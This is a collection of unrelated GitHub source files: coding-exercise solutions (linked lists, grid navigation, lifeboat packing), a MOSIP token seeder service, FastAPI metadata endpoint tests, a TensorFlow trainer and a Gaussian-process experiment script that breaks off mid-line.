+{"seq_id":"9950178512","text":"# Definition for singly-linked list.\n# class ListNode(object):\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\n\n\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\n\nclass Solution:\n    def mergeTwoLists(\n        self, list1: ListNode | None, list2: None | ListNode\n    ) -> ListNode | None:\n        print(list1.val, list1.next.val, list1.next.next.val)\n\n        while not None:\n            list1\n\n\nlist1 = ListNode(1, ListNode(2, ListNode(3)))\nlist2 = ListNode(1, ListNode(5, ListNode(6)))\ns = Solution().mergeTwoLists(list1, list2)\n","repo_name":"Ingv4r/leetcode","sub_path":"problems/easy/merge2lists.py","file_name":"merge2lists.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23312543693","text":"import os\nimport json\nfrom logging import Logger\nfrom queue import Queue\nfrom threading import Thread\nfrom sqlalchemy.orm import Session\n\nfrom .download_handler import DownloadHandler\n\nfrom mosip_token_seeder.authenticator import MOSIPAuthenticator\nfrom mosip_token_seeder.authenticator.exceptions import AuthenticatorException\nfrom mosip_token_seeder.repository import db_tools\nfrom mosip_token_seeder.repository import AuthTokenRequestDataRepository, AuthTokenRequestRepository\n\n\nclass TokenSeeder(Thread):\n    def __init__(self, config, logger : Logger, authenticator : MOSIPAuthenticator, **kwargs):\n        self.config = config\n        self.logger = logger\n        self.authenticator = authenticator\n        self.request_id_queue = Queue()\n        self.db_engine = db_tools.db_init(config.db.location, password=config.db.password)\n        super().__init__(**kwargs)\n        self.start()\n    \n    def run(self):\n        while True:\n            req_id = self.request_id_queue.get()\n            self.logger.info(\"Req Id: %s\", req_id)\n            try:\n                with Session(self.db_engine) as session:\n                    auth_request : AuthTokenRequestRepository = AuthTokenRequestRepository.get_from_session(session, req_id)\n                    if auth_request.status == 'submitted':\n                        auth_request.status = 'processing'\n                        auth_request.update_commit_timestamp(session)\n                        total_no = auth_request.number_total\n                        for data_line_no in range(total_no):\n                            auth_token_data_entry : AuthTokenRequestDataRepository = AuthTokenRequestDataRepository.get_from_session(session, req_id, data_line_no + 1)\n                            if auth_token_data_entry.status == 'submitted':\n                                auth_token_data_entry.status = 'processing'\n                                auth_token_data_entry.update_commit_timestamp(session)\n                                try:\n                                    auth_data_output_json = self.authenticator.do_auth(json.loads(auth_token_data_entry.auth_data_input))\n                                    self.logger.debug(\"Auth output json data: %s\", auth_data_output_json)\n                                    auth_data_output = json.loads(auth_data_output_json)\n                                    if 'response' in auth_data_output and auth_data_output['response']['authStatus']:\n                                        auth_token_data_entry.auth_data_output = auth_data_output_json\n                                        auth_token_data_entry.token = auth_data_output['response']['authToken']\n                                        auth_token_data_entry.status = \"processed\"\n                                        auth_request.number_processed += 1\n                                    else:\n                                        self.logger.error('Authenticator Exception: %s', repr(auth_data_output['errors']))\n                                        auth_token_data_entry.status = \"error\"\n                                        if len(auth_data_output['errors']) > 1:\n                                            auth_token_data_entry.error_code = 'ATS-REQ-103'\n                                            auth_token_data_entry.error_message = ','.join([\"%s::%s\" % (err['errorCode'], err['errorMessage']) for err in auth_data_output['errors']])\n                                        elif len(auth_data_output['errors']) == 1:\n                                            auth_token_data_entry.error_code = auth_data_output['errors'][0]['errorCode']\n                                            auth_token_data_entry.error_message = auth_data_output['errors'][0]['errorMessage']\n                                        else:\n                                            auth_token_data_entry.error_code = 'ATS-REQ-100'\n\n                                        auth_request.number_error += 1\n                                except AuthenticatorException as ae:\n                                    self.logger.error('Authenticator Exception: %s', repr(ae))\n                                    auth_token_data_entry.status = \"error\"\n                                    auth_token_data_entry.error_code = ae.error_code\n                                    auth_token_data_entry.error_message = ae.error_message\n                                    auth_request.number_error += 1\n                                except Exception as ex:\n                                    self.logger.error('Authenticator Exception: %s', repr(ex))\n                                    auth_token_data_entry.status = \"error\"\n                                    auth_token_data_entry.error_code = \"ATS-REQ-100\"\n                                    auth_token_data_entry.error_message = \"Unknown exception\"\n                                    auth_request.number_error += 1\n                                auth_token_data_entry.update_timestamp()\n                                auth_request.update_timestamp()\n                                session.commit()\n                            else:\n                                pass\n                    auth_request.status = 'processed' if auth_request.number_error == 0 else 'processed_with_errors'\n                    auth_request.update_commit_timestamp(session)\n                    output_type = auth_request.output_type\n                    delivery_type = auth_request.delivery_type\n                    if delivery_type == 'download':\n                        DownloadHandler(self.config, self.logger, req_id, output_type, session)\n            except Exception as e:\n                self.logger.error('Token Seeder Error: %s', repr(e))\n","repo_name":"mosip/mosip-token-seeder","sub_path":"mosip_token_seeder/tokenseeder/tokenseeder.py","file_name":"tokenseeder.py","file_ext":"py","file_size_in_byte":5725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39433240337","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 18 10:47:57 2018\n\n@authors: Srilakshmi Sruthi Pasumarthy(220651)\n          Rahul Gupta Kodarapu(220850)\n          Abdullah Al Zubaer(218074)\n\"\"\"\nimport pandas as pd\n#import csv\n#import sys\n\n#Rahul's path = C://Users//rahut//Documents//GitHub//MachineLearningProgAssigns//ProgAssgn4//nb//Example.tsv\n#Sruti's Path = \n\ninputFileName =\"C://Users//rahut//Documents//GitHub//MachineLearningProgAssigns//ProgAssgn5//kNN//Example-shuffled.tsv\" #sys.argv[1]\n#outputFileName = sys.argv[2]\n\ndataFrame = pd.read_csv(inputFileName,sep = '\\t',header = None)\n#learningRate = 1\n#MAX_NUM_OF_ITERATIONS = 100\n\nrowCount = len(dataFrame.index)\ncolumnCount = len(dataFrame.columns)\ndataFrame.dropna()\nif(pd.isnull(dataFrame.iloc[0][columnCount-1]) == True):\n    dataFrame = dataFrame.drop(columnCount-1,axis=1)\ncolumnCount = len(dataFrame.columns)\n#print(dataFrame)\n#print(columnCount)","repo_name":"mortalrahu/MachineLearningProgAssigns","sub_path":"ProgAssgn5/knnClassifier.py","file_name":"knnClassifier.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29887046348","text":"def navigation(seaside):\n    first_point_index = [0, 0]\n    M_index = [0 ,0]\n    C_index = [0 ,0]\n    S_index = [0 ,0]\n    \n    for i in range(len(seaside)):\n        for j in range(len(seaside[i])):\n            if seaside[i][j] == 'Y':\n                first_point_index = [i, j]\n            elif seaside[i][j] == 'C':\n                C_index = [i, j]\n            elif seaside[i][j] == 'M':\n                M_index = [i, j]\n            elif seaside[i][j] == 'S':\n                S_index = [i, j]\n\n    print(first_point_index, \"Y\")\n    print(M_index, 'M')\n    print(C_index, 'C')\n    print(S_index, 'S')\n    m_route = max(abs(first_point_index[0] - M_index[0]), abs(first_point_index[1] - M_index[1]))\n    c_route = max(abs(first_point_index[0] - C_index[0]), abs(first_point_index[1] - C_index[1]))\n    s_route = max(abs(first_point_index[0] - S_index[0]), abs(first_point_index[1] - S_index[1]))\n    print(max(abs(first_point_index[0] - M_index[0]), abs(first_point_index[1] - M_index[1])), 'm_route')\n    print(max(abs(first_point_index[0] - C_index[0]), abs(first_point_index[1] - C_index[1])), 'c_route')\n    print(max(abs(first_point_index[0] - S_index[0]), abs(first_point_index[1] - S_index[1])), 's_route')\n\n    print(m_route + c_route + s_route, 'summ_route')\n    \n    return m_route + c_route + s_route\n\nif __name__ == '__main__':\n    #assert navigation([['Y', 0, 0, 0, 'C'],[ 0, 0, 0, 0, 0],[ 0, 0, 0, 0, 0],['M', 0, 0, 0, 'S']]) == 11\n\n    #assert navigation([[ 0,  0, 'C'],\n    #                   [ 0, 'S', 0],\n    #                   ['M','Y', 0]]) == 4\n\n    assert navigation([[ 0,  0, 0,  0,  0,  0,  0],\n                       [ 0,  0, 0, 'M', 0, 'S', 0],\n                       [ 0,  0, 0,  0,  0,  0,  0],\n                       [ 0,  0, 0, 'C', 0,  0,  0],\n                       [ 0, 'Y',0,  0,  0,  0,  0],\n                       [ 0,  0, 0,  0,  0,  0,  0]]) == 9\n\n\"\"\"\nCompass, Map and Spyglass\nКазалось бы - короткое путешествие, которое должно было занять менее одного дня - что могло пойти не так?\nИ тем не менее, когда остров уже был виден на горизонте, внезапно начался ужасный шторм!\nСложно передать словами, что пришлось пережить вам и вашим людям. Точнее…\nВ живых до острова добрались только вы - оба корабля были разрушены огромными волнами еще в море,\nа остатки их корпусов были окончательно раздроблены прибрежными скалами.\nВозможно, еще кому-то из вашей команды удалось выжить, но это было весьма маловероятно.\nТеперь перед вами стояло 2 задачи - забрать из замка Гиперкуб и найти способ уплыть с этого проклятого острова.\n\nДавайте решать проблемы по-порядку. Для начала вам необходимо найти компас, карту и подзорную трубу,\nчтобы сориентироваться на местности.\nПоторопитесь, так как природа весьма непредсказуема и если вы не успеете забрать вещи - их поглотит прибрежный песок или волнами смоет в море.\n\nВаша задача - посчитать суммарное количество шагов которое потребуется,\nчтобы подобрать все 3 предмета - ('C' - compass), ('M' - map), ('S' - spyglass), считая от вашей стартовой позиции.\nТаким образом, итоговый результат будет суммой трех дистанций: от Y к C, от Y к M и от Y к S (не Y-C-M-S).\nУчтите, что вы можете ходить в 8 направлениях - влево, вправо, вверх, вниз и по диагонали в любую сторону. Ваша стартовая позиция - 'Y'.\n\nВходные данные: Массив с расположением предметов.\nВыходные данные: Длина маршрута.\n\nПример:\n\nnavigation([['Y', 0, 0, 0, 'C'],\n            [ 0,  0, 0, 0,  0],\n            [ 0,  0, 0, 0,  0],\n            ['M', 0, 0, 0, 'S']]) == 11 #4 шага от Y к C, 4 от Y к S и 3 от Y к M\n\nКак это используется: Для поиска длины пути.\n\nПредусловия:\n3x3 <= размер массива <= 10x10\n\"\"\"\n","repo_name":"popovvaleriy/py.checkio","sub_path":"lab65.py","file_name":"lab65.py","file_ext":"py","file_size_in_byte":4823,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35494867736","text":"'''\n\n'''\n\n\n# sum=0\n# count=0\n# for i in range(len(people)):\n#     if i==len(people)-1:\n#         count+=1\n#     elif people[i]+people[i+1]>limit:\n#         count+=1\n# print(count)\n\npeople=[70, 50, 80]\nlimit=100\n\ndef solution(people, limit):\n    cnt=0\n    sum=0\n    for i in range(len(people)):\n        if sum+people[i]>=limit:\n            cnt+=1\n            sum=0\n        elif sum+people[i]<limit:\n            sum+=people[i]\n            continue\n    return cnt\n\nprint(solution(people, limit))\n\n# 순서대로 타는게 아님, 그냥 최대한 적게 카운팅되면 됌\n# Other Answer\ndef solution(people, limit) :\n    answer = 0\n    people.sort() #오름차순으로 정렬시켜서 \n    #인덱스 번호를 사용해서\n    a = 0 #가장 작은 수와\n    b = len(people) - 1 #가장 큰 수부터 조사한다\n    while a < b : #두 인덱스 숫자가 같아질 때까지\n        if people[b] + people[a] <= limit : #리미트보다 작거나 같으면\n            a += 1 #가장 작은 애 태우고\n            answer += 1 # 같이 태울 수 있는 경우 하나 추가\n        b -= 1 #가장 큰 수는 되든 안되든 무조건 태우고\n    return len(people) - answer\n\npeople=[70, 50, 80]\nlimit=100\n\ndef solution(people, limit):\n    people.sort()\n    a=0\n    b=len(people)-1\n    answer=0\n    while a<b:\n        if people[a]+people[b]<=limit:\n            answer+=1\n            a+=1\n        b-=1\n    return len(people)-answer\n\nprint(solution(people, limit))\n\n#Other Answer\nfrom collections import deque\n\ndef solution(people, limit):\n    result = 0\n    deque_people = deque(sorted(people)) #오름차순 정렬하고\n    #deque는 스택과 큐의 기능을 모두 가진 객체\n    # 출입구를 양쪽으로 갖고 있어서 다양하게 활용 가능\n    # 문자열을 전달하면 각 요소를 갖는 리스트처럼 생긴 deque가 생성된다.\n\n    while deque_people:\n        left = deque_people.popleft() #가장 작은거\n        if not deque_people: #모든 요소가 다 빠지면, 결과값은 1이다.\n            return result + 1\n        right = deque_people.pop() #가장 큰거\n        if left + right > limit: #가장 큰거와 가장 작은거의 합이 리미트보다 크면\n            deque_people.appendleft(left) #작은거는 그냥 둔다\n        result += 1 #그리고 결과값에 1을 더한다\n    return result\n    #무조건 큰거 작은거 빼서 더할건데 한번만 빼면 null이 되면 1명 밖에 없는 것이므로 결과값 1\n    # 두개의 합이 리미트보다 크면 결과값에 1을 더하면 작은거는 못 탔으니까 다시 큐에 넣는다\n    ","repo_name":"JustinChoiHokyeong/CodingTestPractice","sub_path":"Programmers/구명보트.py","file_name":"구명보트.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17830980219","text":"import json\nimport os\nimport shutil\nimport stat\nimport unittest\nfrom http import HTTPStatus\n\nfrom fastapi.testclient import TestClient\n\nfrom main import app\nfrom module.env import Env\nfrom module.response import Response\nfrom tests.constant import METADATA_DIR, TEST_FILE\nfrom tests.utils import generate_token\n\n\nclass TestPutInternalMetadataEndpoint(unittest.TestCase):\n    client = TestClient(app)\n    token = generate_token()\n    header = {\"Authorization\": f\"{token}\"}\n    backup_dir = os.path.join(TEST_FILE, \"backup\")\n    new_metadata = {\n        \"name\": \"New Name\",\n        \"attributes\": [\n            {\n                \"trait_type\": \"Attack\",\n                \"value\": 0\n            }\n        ]\n    }\n\n    def tearDown(self):\n        if os.path.isdir(self.backup_dir):\n            shutil.rmtree(self.backup_dir)\n\n    def test_change_existing_metadata_file(self):\n        token_id = 1\n        metadata_file = os.path.join(METADATA_DIR, f\"{token_id}.json\")\n        with open(metadata_file) as file:\n            metadata = json.load(file)\n\n        response = self.client.put(f\"/internal/update/metadata/{token_id}\",\n                                   json=self.new_metadata,\n                                   headers=self.header)\n\n        expected_response = {\"name\": \"New Name\",\n                             \"image_url\": \"https://pixelmon-training-rewards.s3-accelerate.amazonaws.com/0/Moler.jpg\",\n                             \"animation_url\": \"https://pixelmon-test-nft.s3.ap-southeast-1.amazonaws.com/6/Moler.mp4\",\n                             \"external_url\": \"https://pixelmon.club/\",\n                             \"attributes\": [{\"trait_type\": \"Species\", \"value\": \"Moler\"},\n                                            {\"trait_type\": \"Origin\", \"value\": \"Earth\"},\n                                            {\"trait_type\": \"Rarity\", \"value\": \"Uncommon\"},\n                                            {\"trait_type\": \"HP\", \"value\": 33},\n                                            {\"trait_type\": \"Attack\", \"value\": 0},\n                                            {\"trait_type\": \"Defense\", \"value\": 46},\n                                            {\"trait_type\": \"Special Attack\", \"value\": 27},\n                                            {\"trait_type\": \"Special Defense\", \"value\": 32},\n                                            {\"trait_type\": \"Affinity\", \"value\": 100},\n                                            {\"trait_type\": \"Luck\", \"value\": 4, \"display_type\": \"boost_number\"},\n                                            {\"trait_type\": \"Reward Multiplier\", \"value\": 10,\n                                             \"display_type\": \"boost_percentage\"},\n                                            {\"trait_type\": \"Unknown 1\", \"value\": 3},\n                                            {\"trait_type\": \"Unknown 2\", \"value\": 8},\n                                            {\"trait_type\": \"Generation\", \"value\": 1, \"display_type\": \"number\"},\n                                            {\"trait_type\": \"Evolution\", \"value\": 1, \"display_type\": \"number\"},\n                                            {\"trait_type\": \"Hatched On\", \"value\": 1652217733, \"display_type\": \"date\"}],\n                             \"hatched\": True,\n                             \"reward_bitmask\": 6}\n\n        with open(metadata_file, \"w\") as file:\n            file.write(json.dumps(metadata))\n\n        self.assertTrue(os.path.isdir(self.backup_dir))\n        self.assertGreater(len(os.listdir(self.backup_dir)), 0)\n        self.assertEqual(response.json(), expected_response)\n        self.assertEqual(response.status_code, HTTPStatus.OK)\n\n    def test_change_nonexist_metadata_file(self):\n        token_id = 5\n        response = self.client.put(f\"/internal/update/metadata/{token_id}\",\n                                   json=self.new_metadata,\n                                   headers=self.header)\n        detail, status = Response.NOT_FOUND\n        self.assertEqual(response.json(), detail)\n        self.assertEqual(response.status_code, status)\n\n    def test_change_nonexist_metadata_attribute(self):\n        token_id = 1\n        new_metadata = {\n            \"new_key\": \"new_value\",\n            \"attributes\": [\n                {\n                    \"trait_type\": \"New trait\",\n                    \"value\": \"new value\"\n                }\n            ]\n        }\n        response = self.client.put(f\"/internal/update/metadata/{token_id}\",\n                                   json=new_metadata,\n                                   headers=self.header)\n        expected_response = {\n            \"detail\": \"Trait type(s) 'New trait' not found in metadata\"\n        }\n        self.assertEqual(response.json(), expected_response)\n        self.assertEqual(response.status_code, HTTPStatus.BAD_REQUEST)\n\n    def test_change_nonexist_key_in_metadata(self):\n        token_id = 1\n        new_metadata = {\n            \"new_key\": \"new_value\",\n        }\n        response = self.client.put(f\"/internal/update/metadata/{token_id}\",\n                                   json=new_metadata,\n                                   headers=self.header)\n        expected_response = {\n            \"detail\": \"Key(s) 'new_key' not found in metadata\"\n        }\n        self.assertEqual(response.json(), expected_response)\n        self.assertEqual(response.status_code, HTTPStatus.BAD_REQUEST)\n\n    def test_update_metadata_with_invalid_token_id(self):\n        token_id = Env.MAX_TOKEN_ID + 1\n        response = self.client.put(f\"/internal/update/metadata/{token_id}\",\n                                   json=self.new_metadata,\n                                   headers=self.header)\n\n        self.assertEqual(response.status_code, HTTPStatus.UNPROCESSABLE_ENTITY)\n\n    def test_update_metadata_with_empty_metadata(self):\n        token_id = 1\n        response = self.client.put(f\"/internal/update/metadata/{token_id}\",\n                                   json={},\n                                   headers=self.header)\n\n        detail, status = Response.VALUE_REQUIRED\n        self.assertDictEqual(response.json(), detail)\n        self.assertEqual(response.status_code, status)\n\n    def test_update_metadata_with_failed_to_save_to_storage(self):\n        token_id = 1\n        metadata = os.path.join(METADATA_DIR, f\"{token_id}.json\")\n        read_only_permission = stat.S_IRUSR\n        os.chmod(metadata, read_only_permission)\n        response = self.client.put(f\"/internal/update/metadata/{token_id}\",\n                                   json=self.new_metadata,\n                                   headers=self.header)\n        read_write_permission = stat.S_IRUSR + stat.S_IWUSR + stat.S_IRGRP + stat.S_IROTH\n        os.chmod(metadata, read_write_permission)\n        self.assertEqual(response.status_code, HTTPStatus.INTERNAL_SERVER_ERROR)\n","repo_name":"LiquidX-Studio/Fast-metadata-service","sub_path":"tests/test_put_internal_metadata_endpoint.py","file_name":"test_put_internal_metadata_endpoint.py","file_ext":"py","file_size_in_byte":6774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9957597616","text":"import tensorflow as tf\nfrom src.dl_core import ModelTrainerBase\n\n\nclass ModelTrainer(ModelTrainerBase):\n    def __init__(self, model, learning_rate, weight_decay, train_dr, test_dr, sequence_size, loss_type):\n        super().__init__(model, learning_rate, weight_decay, train_dr, test_dr, loss_type)\n\n        self.global_step = tf.Variable(0, trainable=False)\n\n        self.input_placeholder = tf.placeholder(tf.float32,\n                                                shape=[None, sequence_size, self.train_dr.input_dim],\n                                                name='input_placeholder')\n        self.time_placeholder = tf.placeholder(tf.float32,\n                                               shape=[None, sequence_size, 1],\n                                               name='time_placeholder')\n        self.target_placeholder = tf.placeholder(tf.int32,\n                                                 shape=[None, sequence_size],\n                                                 name='target_placeholder')\n\n        self.state_placeholder, self.state = self.model.state_placeholders()\n        self.forward_op = self.model.forward((self.time_placeholder, self.input_placeholder), self.state)\n\n        output, state = self.forward_op\n\n        if self.loss_type == 'classification_last':\n            training_outputs = output[:, -1, :]\n            training_labels = self.target_placeholder[:, -1]\n        elif self.loss_type == 'classification_all':\n            outputs_num = int(output.get_shape()[-1])\n            training_outputs = tf.reshape(output, shape=[-1, outputs_num])\n            training_labels = tf.reshape(self.target_placeholder, [-1])\n        else:\n            raise NotImplementedError\n\n        self.loss = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=training_outputs,\n                                                                                  labels=training_labels))\n\n        # L2 Normalization\n        tv = tf.trainable_variables()\n        for v in tv:\n            print(v.name)\n\n        self.reg_los = tf.reduce_sum([tf.nn.l2_loss(v) for v in tv if 'bias' not in v.name])\n\n        self.loss_all = self.loss + self.weight_decay * self.reg_los\n        self.optimization_op = tf.train.AdamOptimizer(learning_rate).minimize(self.loss_all, self.global_step)\n\n        self.sess = tf.InteractiveSession()\n\n        self.sess.run(tf.global_variables_initializer())\n\n    def get_placeholder_dict(self, state):\n        d = dict()\n        for p, s in zip(self.state_placeholder, state):\n            d[p] = s\n\n        return d\n\n    def _one_iteration(self, batch, time, hidden, labels, update=False):\n        ops = [self.forward_op, self.loss]\n\n        if update:\n            ops.append(self.optimization_op)\n\n        feed_dict = self.get_placeholder_dict(hidden)\n        feed_dict[self.time_placeholder] = time\n        feed_dict[self.input_placeholder] = batch\n        feed_dict[self.target_placeholder] = labels\n\n        r = self.sess.run(ops, feed_dict)\n\n        (prediction, hidden), loss = r[:2]\n\n        return prediction, hidden, loss\n\n    def _gather_results(self, ids, outputs, labels, loss):\n        self.metrics.append_results(ids, outputs, labels, loss)\n\n","repo_name":"PatrykChrabaszcz/NeuralArchitectureSearch","sub_path":"src/deep_learning/tensorflow/model_trainer.py","file_name":"model_trainer.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"18824259948","text":"import gc\nimport itertools\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom gpytorch.priors import GammaPrior\nfrom prod_structure import query, build_bins\nfrom prod_inference import structure, ExactGPModel\nfrom gpytorch.kernels import *\nfrom gpytorch.likelihoods import *\nimport random\nfrom torch import optim\nfrom torch.optim import *\nfrom gpytorch.mlls import *\nimport torch\nfrom scipy.io import arff\n\nimport gpytorch\n# from pytorchtools import EarlyStopping\nimport sys\nfrom sklearn.linear_model import SGDRegressor\nimport pickle\nimport dill\nfrom sklearn.linear_model import BayesianRidge, LinearRegression\nfrom scipy import stats\nrandom.seed(123)\nnp.random.seed(123)\ntorch.manual_seed(123)\ntorch.cuda.manual_seed(123)\nd_input = 8\n# dataarff = arff.loadarff('/home/mzhu/madesi/mzhu_code/scm20d.arff')\n# data = pd.DataFrame(dataarff[0])\ndata = pd.read_csv('/home/mzhu/madesi/mzhu_code/windmill14.csv')\n# data = pd.read_csv('/home/mzhu/madesi/mzhu_code/windmill14_ab.csv')\n# # data2 = pd.read_csv('/home/mzhu/madesi/madesi/mzhu_code/100006dabnormal.csv')\ndata = pd.DataFrame(data).dropna()\ntrain = data.sample(frac=0.8, random_state=58)\ntest = data.drop(train.index)\n# data_ab = pd.DataFrame(data_ab).dropna()\n# df = pd.read_csv('/home/mzhu/madesi/mzhu_code/VAR.csv',header=None)\n# df = pd.DataFrame(df).dropna()  # miss = data.isnull().sum()/len(data)\n# data2 = df.T\nx_, y_ = train.iloc[:, :d_input].values, train.iloc[:, d_input:].values\ny_d = y_.shape[1]\nx1_, y1_ = test.iloc[:, :d_input].values, test.iloc[:, d_input:].values\nprint(x_.shape)\nstd1, mu1= np.std(x_,axis=0), np.mean(y_,axis=0)\nx = x_/ std1  # normalized train_x\nx1 = x1_/std1 # test_x\ny = y_-mu1# train_y\ny1 = y1_-mu1 #test_y\n# x_ = pd.read_csv('/home/mzhu/madesi/datasets/datasets/parkinsons/x_train.csv')\n# x1_ = pd.read_csv('/home/mzhu/madesi/datasets/datasets/parkinsons/x_test.csv')\n# y_ = pd.read_csv('/home/mzhu/madesi/datasets/datasets/parkinsons/y_train.csv')\n# y1_= pd.read_csv('/home/mzhu/madesi/datasets/datasets/parkinsons/y_test.csv')\n#\n# print(x_.shape)\n# print(x1_.shape)\n# mu1,std1 =x_.mean().to_numpy(),x_.std().to_numpy()\n# # mu2,std2 = x1.mean(),x1.std()\n# mu3,std3 =y_.mean().to_numpy(),y_.std().to_numpy()\n# # mu4,std4 = y1.mean(),y1.std()\n#\n# x = x_/std1# normalized train_x\n# x1 = x1_/std1 # test_x\n# y = y_-mu3# train_y\n# y1 = y1_-mu3 #test_y\n# x = x.iloc[:,:].values\n# x1 = x1.iloc[:,:].values\n# y = y.iloc[:,:].values\n# y1 = y1.iloc[:,:].values\n# y_d = y.shape[1]\n# d_input = x.shape[1]\nMAEE=[]\nRMSEE=[]\nNLPDD=[]\n\nfor kkk in range(10):\n\n    # # X1 = np.sort(np.random.rand(800))[:, None]\n    # # X2 = np.sort(np.random.rand(800))[:, None]\n    # # X3 = np.sort(np.random.rand(800))[:, None]\n    # # X4 = np.sort(np.random.rand(800))[:, None]\n    # # noise = np.random.normal(0,.1,(2000,1))\n    # # X = [X1,X2,X3,X4]\n    # #\n    # #\n    # # def experiment_true_u_functions(X_list):\n    # #     u_functions = []\n    # #     for X in X_list:\n    # #         u_task = np.empty((X.shape[0], 1))\n    # #         u_task[:, 0, None] = (4.5 * np.cos(2 * np.pi * X + 1.5 * np.pi) - \\\n    # #                              3 * np.sin(4.3 * np.pi * X + 0.3 * np.pi) + \\\n    # #                              5 * np.cos(7 * np.pi * X + 2.4 * np.pi))\n    # #         # u_task[:, 1, None] = (4.5 * np.cos(1.5 * np.pi * X + 0.5 * np.pi) + \\\n    # #         #                      5 * np.sin(3 * np.pi * X + 1.5 * np.pi) - \\\n    # #         #                      5.5 * np.cos(8 * np.pi * X + 0.25 * np.pi))\n    # #         u_functions.append(u_task)\n    # #     return u_functions\n    # #\n    # # # True functions values for inputs X\n    # # Y = np.concatenate(experiment_true_u_functions(X),axis=1)\n    # # X = np.concatenate(X,axis=1)\n    # # print(Y)\n    # # index = np.random.choice(800,600)\n    # # y_d = 4\n    # # x = X[index,:]\n    # # y = Y[index,:]\n    # # x1 = np.delete(X,[index],0)\n    # # y1 = np.delete(Y,[index],0)\n    # #\n    # # mu1,std1 =x.mean(),x.std()\n    # # mu2,std2 = x1.mean(),x1.std()\n    # # mu3,std3 =y.mean(),y.std()\n    # # mu4,std4 = y1.mean(),y1.std()\n    # # x = (x-mu1)/std1 # normalized train_x\n    # # x1 = (x1-mu2)/std2 # test_x\n    # # y = (y-mu3)/std3 # train_y\n    # # y1 = (y1-mu4)/std4 #test_y\n    # # print(y1)\n    # #\n    opts = {\n        'min_samples': 0,\n        'X': x,\n        'Y': y,\n        'qd': 1,\n        'max_depth': 100,\n        'max_samples': 510,\n        'log': True,\n        'jump': True,\n        'reduce_branching': True\n    }\n    root_region, gps_ = build_bins(**opts)\n\n    root, gps = structure(root_region,scope = [i for i in range(y.shape[1])], gp_types=['matern1.5_ard'])\n\n    # self.likelihood = FixedNoiseGaussianLikelihood(noise=noises, learn_additional_noise=True)\n    # likelihood_scope = [GaussianLikelihood().train() for _ in range(y_d)]\n    # tensor_x = torch.from_numpy(np.zeros((100,d_input))).float().to('cuda')\n    # tensor_y = torch.from_numpy(np.zeros((100,d_input))).float().to('cuda')\n    # model_scope = [ExactGPModel(x = tensor_x,y = tensor_y,likelihood = likelihood_scope[i], type='matern1.5_ard') for i in range(y.shape[1])]\n    # # opt = [model_scope[p].parameters() for p in range(y_d)]\n    # # optimizer_scope = [Adam([{'params':opt[p]}], lr=lr) for p in range(y_d)]\n    # l0=[]\n    # for m in range(y_d):\n    #     l0.extend(list(model_scope[m].parameters()))\n    # optimizer_scope = Adam([{'params':l0}], lr=lr)\n    # # optimizer_scope=optim.SGD(l0, lr=0.1, momentum=0.9)\n    # # optimizer_scope = torch.optim.LBFGS(l0)\n    # model_scope = [i.to('cuda') for i in model_scope]\n    #\n    # nlpd = []\n    # loss_train = []\n    # for i in range(steps): #这是优化的大循环，优化共#steps步\n    #     # tree_loss = [0] * y.shape[1]\n    #     # tree_scope = [0] * y.shape[1]\n    #     optimizer_scope.zero_grad()\n    #     # loss_scope = [0 for _ in range(y_d)]\n    #     # for k in range(y_d):\n    #     #     optimizer_scope[k].zero_grad()\n    #     for j, gp in enumerate(gps):\n    #         if i == 0:\n    #             idx = query(x, gp.mins, gp.maxs)\n    #             gp.x = x[idx]\n    #             y_scope = y[:,gp.scope]\n    #             gp.y = y_scope[idx]\n    #             gp.n = len(gp.x)\n    #         cuda_ = True\n    #         temp_device = torch.device(\"cuda\" if cuda_ else \"cpu\")\n    #         if cuda_:\n    #             torch.cuda.empty_cache()\n    #         x_temp = torch.from_numpy(gp.x).float().to(temp_device)\n    #         y_temp = torch.from_numpy(gp.y.ravel()).float().to(temp_device)\n    #         model_scope[gp.scope].set_train_data(inputs=x_temp, targets=y_temp, strict=False)\n    #         model_scope[gp.scope].train()\n    #         gp.likelihood = likelihood_scope[gp.scope]\n    #         gp.model = model_scope[gp.scope]\n    #         mll = ExactMarginalLogLikelihood(likelihood_scope[gp.scope], model_scope[gp.scope])\n    #\n    #         output = model_scope[gp.scope](x_temp)  # Output from model\n    #         if i == steps-1:\n    #             gp.mll = mll(output, y_temp).item()\n    #         gp.mll_grad = -mll(output, y_temp)\n    #         # loss = -mll(output, y_temp)\n    #         x_temp.detach()\n    #         y_temp.detach()\n    #         del x_temp\n    #         del y_temp\n    #         del gp.model,gp.likelihood\n    #         x_temp = y_temp = None\n    #         torch.cuda.empty_cache()\n    #         gc.collect()\n    #         # loss_scope[gp.scope]+=gp.mll_grad\n    #\n    #     tree_loss_all = root.update_mll()\n    #     loss_train.append(tree_loss_all.item())\n    #     # for l in range(y_d):\n    #     #     loss_scope[l].backward()\n    #     #     optimizer_scope[l].step()\n    #     print('loss', tree_loss_all.item())\n    #     tree_loss_all.backward()\n    #     optimizer_scope.step()\n    #\n    # # root.update()\n    #\n    # for i, gp in enumerate(gps):\n    #     x_temp = torch.from_numpy(gp.x).float().to('cuda')\n    #     y_temp = torch.from_numpy(gp.y.ravel()).float().to('cuda')\n    #     # model_mean = ExactGPModel(x=x_temp, y=y_temp, likelihood=likelihood_scope[gp.scope], type='matern2.5_ard')\n    #     model_scope[gp.scope].set_train_data(inputs=x_temp, targets=y_temp, strict=False)\n    #     gp.model = model_scope[gp.scope]\n    #     gp.likelihood = 